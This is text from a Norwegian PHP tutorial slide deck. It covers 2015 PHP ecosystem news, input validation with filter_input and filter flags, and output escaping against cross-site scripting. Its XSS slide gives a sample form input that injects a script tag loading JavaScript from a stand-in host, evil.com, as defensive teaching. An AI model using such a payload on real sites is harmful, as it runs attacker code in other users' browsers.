Det skjer myei PHP miljøet for
tiden, det er gøy!
• 1. oktober kom PHP7 RC4
• PHPUnit 5.0, stable release 2. oktober, støtter
bare aktive PHP versjoner (dvs 5.6), så de av oss
som evt er på eldre versjon av PHP må ta en
vurdering…
• Composer kom med ny versjon i går for PHPUnit 5
• Symfony og Zend har sluppet ny versjon siden sist
(Laravel kom med ny versjon i august)
• CodeIgniter er ikke død, ny versjon i august
• Og nærmeste PHP konferanse er i London:
PHP UK Conference 2016, 18-19. februar
4
Metoder for strenger
•Strings med default verdi
$title = (isset($_GET[‘title’])) ? :’Lorem Ipsum’;
• String max lengde
$title = substr($title,0,20);
NO!
17.
Vi kan spareoss for noen if-setninger
ved å bruke filter_input() eller filter_var()
// ingen html kode i fornavn
$fornavn = filter_input(INPUT_GET,’fornavn',FILTER_SANITIZE_STRING);
// antall blir 5 om ikke oppgitt, eller ugyldig (må være mellom 0 og 9)
$antall = filter_input(INPUT_GET,'antall',FILTER_VALIDATE_INT,
['options'=>['default'=>5, 'min_range'=>0, ‘max_range'=>9]]);
// epost blir en tom string, eller en gyldig epost-adresse
$epost = filter_input(INPUT_POST,'epost',FILTER_VALIDATE_EMAIL);
18.
Metode flagg
• Validating,determine if the data is in proper form
FILTER_VALIDATE_INT
FILTER_VALIDATE_EMAIL
FILTER_VALIDATE_URL
• Sanitizing, remove any illegal character
FILTER_SANITIZE_STRING
FILTER_SANITIZE_NUMBER_INT
Sjekk php.net for flere :-)
Output - XSS(Cross Site Scripting)
• Passe på brukerene
våre
• Escape output fra
database, webservice,
fil osv.
21.
Hva er XSS?
•At man inkludere JavaScript e.l. via url eller
tidligere skjema.
• Eks: man oppgir navnet i et skjema til å være
Ole ‘><script src=‘http://evil.com/mean.js'></scipt>
Dette er ikke databasemessig farlig, men om andre
ser på rapport i nettleseren så kan det kjøres…